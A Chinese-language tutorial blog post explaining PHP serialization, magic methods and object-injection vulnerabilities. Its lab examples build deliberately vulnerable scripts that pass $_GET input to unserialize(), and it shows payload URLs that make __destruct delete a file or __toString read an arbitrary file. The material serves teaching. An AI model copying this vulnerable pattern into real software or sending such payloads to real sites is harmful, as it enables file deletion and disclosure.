PHP序列化与反序列化

PHP序列化与反序列化

  • 0x00 前言
  • 0x01 PHP类与对象
  • 0x02 PHP Magic 方法
  • 0x03 PHP 对象序列化
  • 0x04 PHP对象反序列化
  • 0x05 PHP反序列化漏洞/PHP对象注入
    • 1)__destruct的运用实例
    • 2)加入反序列化的实例
    • 3)__toString()进行反序列化
      • 1.反序列化实例:
      • 2.用反序列化调用logFile类
  • 0x06 总结
  • 0x07 漏洞前提
  • 0x08 防御

0x00 前言

在了解PHP序列化和反序列化,之前需要对PHP的类与对象、魔法方法等有所了解,此外PHP对象注入漏洞,作为一种极为

常见却很难被利用的漏洞,也是由于PHP的序列化与反序列化早成的

0x01 PHP类与对象

不论在哪种编程语言中,类与对象的概念都不会被绕过,它是面向对象编程的基础知识,也是必备知识。

	
	class animal {
		public $name = 'dahuang';//define a virable
		public function sleep(){//define a simpe method
			echo $this->name . " is sleeping...\n";
		}
	}
	$dog = new animal();
	$dog->sleep();
	?>

PHP序列化与反序列化_第1张图片
上述简单的代码中,定义了一个animal类,在animal类中定义了一个$ name变量和一个sleep方法;然后对animal类实例化,创建一个dog对象,通果dog对象调用sleep方法,输出。

0x02 PHP Magic 方法

PHP类中一般会包含一些特殊的函数叫做magic函数,这些函数以双斜划线开始,他们的主要作用是在某些情况下,自动调用,以保证程序的健壮性,但也是由于这些方法的自动调用,使得程序在一些情况下存在漏洞。

PHP常见的magic方法:

方法名 触发点
__construct 在创建对象时候初始化对象,一般用于对变量赋初值
__destruct 和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用
__toString 当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串
__wakeup() 使用unserialize时触发,反序列化恢复对象之前调用该方法
__sleep() 使用serialize时触发 ,在对象被序列化前自动调用,该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化)
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据,即在调用私有属性的时候会自动执行
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__invoke() 当脚本尝试将对象调用为函数时触发

实例:


	class animal {
		public $name = 'dahuang';//define a virable
		public function sleep(){//define a simpe method
			echo $this->name . " is sleeping...\n";
		}
		public function __construct(){
			echo "the method:__construct is called\n";
		}
		public function __destruct(){
			echo "the method:__destruct is called\n";
		}
		public function __toString(){
			return "the method:__toString is called\n";
		}
	}
	$dog = new animal();
	$dog->sleep();
	echo $dog;
	?>

输出:
PHP序列化与反序列化_第2张图片
分析输出结果:

1、当通过new对类进行实例化时,首先调用__construct()构析函数,创建dog对象;

2、让后通过dog对象调用sleep()方法,触发sleep,在进行$dog->sleep();时, $ dog备档最字符串,__toString()被调用;

3、echo $dog使得脚本结束,调用__destruct函数。

0x03 PHP 对象序列化

在PHP网站中的定义:

所有PHP里面的值都是可以使用函数serialize()来返回一个包含字节流的字符串表示。 unserialize()函数能够重新把字符串

变回PHP原来的值。序列化一个对象将会保存对象的所有变量,但不会保存对象的方法,只会保存类的名字。

简单的理解序列化就是把一个类的实例变成一个字符串;

简单的理解反序列化就是把一个特殊的字符串转换成一个实例。

**那么为什么要有序列化这种机制存在呢?或者说序列化有什么作用呢?**

因为在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。试想,如果一个脚

本想要调用之前一个脚本的变量,但是前一个脚本已经执行完毕,所有的变量和内容都已经

释放掉了,我们要如何操作,才能引用前一个脚本的变量呢?难道要前一个脚本不断的循环

等待后面脚本的调用,显然这是不现实的。serialize和unserialize(即序列化和反序列

化)就是用来解决这一问题的。serialize可以将变量转换为字符串并且在变换中可以保存当

前变量的值;unserialize则可以将serialize生成的字符串转换为变量。

现在,我们将0x02中的dog对象进行序列化,即将最后一行代码:echo $dog;改

为echo serialize( $dog);

输出结果:高亮部分即为序列化的dog对象

PHP序列化与反序列化_第3张图片
序列化后的字符串格式如下:

O:6:"animal":1:{s:4:"name";s:7:"dahuang";}
对象类型:长度:"名字":类中变量的个数:{类型:长度:"名字";类型:长度:"值";......}

序列化格式中的字母含义:

a - array                  b - boolean  
d - double                 i - integer
o - common object          r - reference
s - string                 C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

下面,我们再来探究一个小问题,到我们的变量受到不同修饰符修饰时,会不会有

不同的结果,以animal类中的name变量为例:

1.当name受到public修饰时:private $name = ‘dahuang’;

name占用四个字节PHP序列化与反序列化_第4张图片

2.当name受到private修饰时:private $name = ‘dahuang’;

类名加上变量名占12个字节,比正常多了两个字节
在这里插入图片描述
3.当name受到protected修饰时:protected $name = ‘dahuang’;
*name占用七个字节
PHP序列化与反序列化_第5张图片
通过对比发现,在受保护的成员前都多了两个字节,受保护的成员在序列化时规则:

  1. 受private修饰的私有成员,序列化时: \00 [私有成员所在类名] \00 [私有成员]
  2. 受protected修饰的成员,序列化时:\00 * \00 [成员]

其中,"\00"代表ASCII为0的值,即空字节," * " 必不可少。

0x04 PHP对象反序列化

在说明PHP对象反序列化之前,我们来看一下,在PHP的序列化与反序列化过程中

__sleep()、__wakeup()的调用过程,还是以上面的animal类为例:

对上面的代码进行简单修改

	
	class animal {
		public $name = 'dahuang';//define a virable
		public $age = '20';
		public function eat(){//define a simpe method
			echo $this->name . " is eatting...\n";
		}
		public function __construct(){
			echo "the method:__construct is called\n";
		}
		public function __destruct(){
			echo "the method:__destruct is called\n";
		}
		public function __toString(){
			return "the method:__toString is called\n";
		}
		public function __wakeup(){
			echo "the method:__wakeup is called\n";
		}
		public function __sleep(){
			echo "the method:__sleep is called\n";
			return array('name','age');
		}
	}
	$dog = new animal();//对类进行实例化时,自动调用__construct()
	echo serialize($dog)."\n";
	$serializedDog = serialize($dog);//对dog对象进行序列化时,自动调用__sleep()
	echo $serializedDog . "\n";//echo 序列化的dog对象
	$dog->eat();//dog对象调用eat()方法
				//程序结束,调用__destruct()
	?>

输出结果:
PHP序列化与反序列化_第6张图片
PHP的几个魔法函数,在进行序列化的过程中的调用:

1、当不进行序列化时: 在进行类的实例化时,自动调用__construct();在输出对象时,自动调用

__toString();在程序结束时,自动调用__destruct();__sleep()与__wakeup()均与序列化与反序列化

有关,在此过程不被调用。

2、当进行序列化时: 在进行类的实例化时,自动调用__construct();在对创建的dog对象进行序列化

时,自动调用__sleep();echo $serializedDog,输出序列化的dog对象,**在此不再调用

_toString()**;dog兑现调用eat()方法,然后程序结束,调用__destruct().

3、在整个过程中,__construct()总是在程序的开始调用,__destruct()总是在程序的结束调用,这很

简单,因为,对所有的变量的初始化总是在程序的开始,释放变量总是在程序结束。

现在,在上面的基础上,对序列化的dog对象进行反序列化:

修改代码、如下:

	
	class animal {
		public $name = 'dahuang';//define a virable
		public $age = '20';
		public function eat(){//define a simpe method
			echo $this->name . " is eatting...\n";
		}
		public function __construct(){
			echo "the method:__construct is called\n";
		}
		public function __destruct(){
			echo "the method:__destruct is called\n";
		}
		public function __toString(){
			return "the method:__toString is called\n";
		}
		public function __wakeup(){
			echo "the method:__wakeup is called\n";
		}
		public function __sleep(){
			echo "the method:__sleep is called\n";
			return array('name','age');
		}
	}
	$dog = new animal();//对类进行实例化时,自动调用__construct()
	$serializedDog = serialize($dog);//对dog对象进行序列化时,自动调用__sleep()
	echo $serializedDog . "\n";//echo 序列化的dog对象
	
	$newDog = unserialize($serializedDog);//反序列化已经被序列化的dog对象,自动调用__wakeup()
	var_dump($newDog);//输出反序列化的结果
	$newDog->eat();//dog对象调用eat()方法
				   //程序结束,调用__destruct()
	?>

分析一下,在进行序列化与反序列化的过程中,几个魔法函数的调用过程:

首先,在对animal类进行实例化时,自动调用__construct()对变量进行初始化;然后通过serialize()方

法对dog对象进行序列化,自动调用__sleep();输出序列化的dog对象;之后,通过unserialize()方法

对序列化的dog对象进行反序列化,自动调用__wakeup()方法;输出反序列化的结果,可以看到被序

列化的dog对象得到了还原;然后通过新的newDog对象调用eat()方法,程序结束,自动调用

__destruct()方法,注意这里的__construct()被调用了两次,这是因为在整个过程中产生了两个对象

dog和newDog,在程序结束需要分写释放。

0x05 PHP反序列化漏洞/PHP对象注入

我们已经认识到了PHP的序列化与反序列化过程,但是如何利用这些漏洞呢?这取决与应用程序、可

用的类和magic方法,序列化对象包含攻击者控制的对象值。在利用反序列化漏洞时,第一步就

是在web应用程序寻找定义的__wakeup()和__sleep()方法,通过上面的讲述可以知道这两个magic方

法只有在进行序列化和反序列化时才会被调用,通过触发这些方法,利用反序列化漏洞。

1)__destruct的运用实例

例如,我们找到一个类用于临时将日志存储在某个文件,当__destruct()被调用时,删除日志文件。

saveLog.php:

	 	
	class logFile{
		public $logname = "error.log";//define the name of log
		public function saveLog($text){//define the method to write the contents to a logfile
			echo "Log same data: " . $text . "
"
; file_put_contents($this->logname, $text . PHP_EOL, FILE_APPEND); } public function __destruct(){//delete the logfile when __destruct is called echo "the method:__destruct is called
"
; unlink(dirname(__FILE__) . DIRECTORY_SEPARATOR . $this->logname);//delete the logfile if(!file_exists(dirname(__FILE__) . DIRECTORY_SEPARATOR . $this->logname)){//if the file has been deleted ,echo the log echo "the method:__destruct is called and " . $this->logname ." has been deleted
"
; } } }

deleteLog.php

	 
	include 'saveLog.php'; //import files
	$obj = new logFile(); //create a new object
	$obj->logname = 'somefile.log';//assignment the variable
	$obj->saveLog('this is a test file');//call the method to save some contents

首先,注释掉saveLog.php中的unlink()方法看,是否能保存,将两个文件上传至服务器,访问
deletLog.php:可以看到由于unlink()被注释掉了,保存的日志文件并没有被删除;但是输出“the method:__destruct is called”,__destruct()方法已经调用

PHP序列化与反序列化_第7张图片
PHP序列化与反序列化_第8张图片
去掉注释看一下,真正的效果:在deleteLog.php中的__destruct()添加了判断函数,所以当文件被删除后弹出日志;文件被删除。
PHP序列化与反序列化_第9张图片

2)加入反序列化的实例

对1中的saveLog.php进行优化:
saveLog.php:

	 	
	class logFile{
		public $logname = "error.log";//define the name of log
		public function saveLog($text){//define the method to write the contents to a logfile
			echo "Log same data: " . $text . "
"
; file_put_contents($this->logname, $text . PHP_EOL, FILE_APPEND); } public function __destruct(){//delete the logfile when __destruct is called echo "the method:__destruct is called
"
; if(!file_exists(dirname(__FILE__) . DIRECTORY_SEPARATOR . $this->logname)){//if the file has been deleted ,echo the log echo "the method:__destruct is called and " . $this->logname ." has been deleted
"
; }else{ unlink(dirname(__FILE__) . DIRECTORY_SEPARATOR . $this->logname);//delete the logfile } } }

创建测试文件testPHP.php:

	 
	echo "this is a test file";
	?>

创建序列化脚本serialize.php

	 
	include 'saveLog.php';
	$obj = new logFile();
	$obj->logname = "testPHP.php";
	echo serialize($obj)."
"
;

创建反序列化脚本unserialize.php

	 
	include 'saveLog.php';
	$usr = unserialize($_GET['user_serialized']);//用户可控
	var_dump($usr);
	echo "
"
;

测试:
1.让问testPHP.php进行测试:
PHP序列化与反序列化_第10张图片
2.访问serialize.php:

获得序列化的字符串:O:7:“logFile”:1:{s:7:“logname”;s:11:“testPHP.php”;}

并且原来的测试文件testPHP.php已经通过自动调用__destruct()被删除。
PHP序列化与反序列化_第11张图片
3.访问testPHP.php:文件已经在访问serialize.php时被删除;
PHP序列化与反序列化_第12张图片
4.通过反序列化恢复字符串,访问:恢复数据结构

http://192.168.15.83/unserialize.php/?user_serialized=O:7:"logFile":1:{s:7:"logname";s:11:"testPHP.php";}

PHP序列化与反序列化_第13张图片
此时,testPHP.php文件已经被删除,因为在脚本运行结束时,__destruct()方法,然而我们可以通过

给定不同的字符串控制logFile类的变量。这就是PHP反序列化漏洞的名称由来,PHP反序列化漏洞的
条件:
1.unserialize函数的变量可控(本例中:unserialize($_GET[‘USER_serialized’]):USER_serialized是用户设定);
2.php文件中存在可利用的类,类中有魔术方法(本例中:__destruct());

3)__toString()进行反序列化

1.反序列化实例:

对0x04中代码进行修改:

    
   class animal {
   	public $name = 'dahuang';//define a virable
   	public $age = '20';
   	public function eat(){//define a simpe method
   		echo $this->name . " is eatting...
"
; } public function __construct(){ echo "the method:__construct is called
"
; } public function __destruct(){ echo "the method:__destruct is called
"
; } public function __toString(){ return "the method:__toString is called
"
; } public function __wakeup(){ echo "the method:__wakeup is called
"
; } public function __sleep(){ echo "the method:__sleep is called
"
; return array('name','age'); } } $usr = unserialize($_GET['USER_serialized']); $usr->eat(); var_dump($usr);//echo the result echo "
"
; ?>

输出结果:

payload:http://192.168.15.83/test1.php/?USER_serialized=O:6:"animal":2:{s:4:"name";s:7:"dahuang";s:3:"age";s:2:"20";}

PHP序列化与反序列化_第14张图片

2.用反序列化调用logFile类

1.创建测试文件demo.txt
PHP序列化与反序列化_第15张图片
2.重新编写类脚本:logfile.php

    	         
       class LogFile  
       {                 
           public $filename = 'error.log';  //define the name of log      
           public function LogData($text)  //define a method to save log
           {  
               echo 'Log some data: ' . $text . '
'
; file_put_contents($this->filename, $text, FILE_APPEND); } public function __destruct() //define a method to delete log { echo 'the method:__destruct is called and the file :"' . $this->filename . '" is deleteed.
'
; unlink(dirname(__FILE__) . '/' . $this->filename); } } ?>

3.反序列testunserialize.php

         
//import files here      
class FileClass  
{    
   public $filename = 'error.log';  //the name of file
   public function __toString()  //when the object read as a string , this method will be called
   {  
   return file_get_contents($this->filename);  
   }  
} 
$obj = unserialize($_GET['usr_serialized']);// implement user can control
echo $obj;  //echo the __toString  
?> 

4.测试文件:testfile.php

  
include 'testunserialize.php';  
$fileobj = new FileClass();  
$fileobj->filename = '1.txt';  
echo serialize($fileobj);    
?> 

5.测试:

5.1直接访问测试文件demo.txt

PHP序列化与反序列化_第16张图片
5.2 访问测试文件获取序列化字符串:O:9:“FileClass”:1:{s:8:“filename”;s:5:“1.txt”;}
PHP序列化与反序列化_第17张图片
5.3 漏洞利用,访问反序列化测试文件读取文件内容:成功读取文件内容,漏洞利用成功
PHP序列化与反序列化_第18张图片

0x06 总结

在上面的实验过程介绍了PHP常见的几个magic函数的调用顺序和调用方法,在进行反序列化漏洞测试的过程中主要利用到了__destruct和__tostring两个magic函数。也可以使用其他magic函数:如果对象将调用一个不存在的函数__call将被调用;如果对象试图访问不存在的类变量__get和__set将被调用。但是利用这种漏洞并不局限于magic函数,在普通的函数上也可以采取相同的思路。例如User类可能定义一个get方法来查找和打印一些用户数据,但是其他类可能定义一个从数据库获取数据的get方法,这从而会导致SQL注入漏洞。set或write方法会将数据写入任意文件,可以利用它获得远程代码执行。唯一的技术问题是注入点可用的类,但是一些框架或脚本具有自动加载的功能。最大的问题在于人:理解应用程序以能够利用这种类型的漏洞,因为它可能需要大量的时间来阅读和理解代码。

0x07 漏洞前提

1.unserialize函数的变量可控(本例中:unserialize($_GET[‘USER_serialized’]):USER_serialized是用户设定);

2.php文件中存在可利用的类,类中有魔术方法(本例中:__destruct());

0x08 防御

1.对参数进行处理;

2.使用更加安全的函数。

参考:
https://paper.seebug.org/680/
https://blog.csdn.net/nzjdsds/article/details/82703639
https://cloud.tencent.com/developer/news/88891
https://www.jianshu.com/p/1d2c65601d2a
http://www.codeceo.com/article/php-object-injection.html
https://blog.csdn.net/fly_hps/article/details/82734823
https://www.freebuf.com/news/172507.html
https://www.freebuf.com/articles/web/167721.html
https://www.cnblogs.com/wfzWebSecuity/p/11156279.html

你可能感兴趣的:(常见漏洞)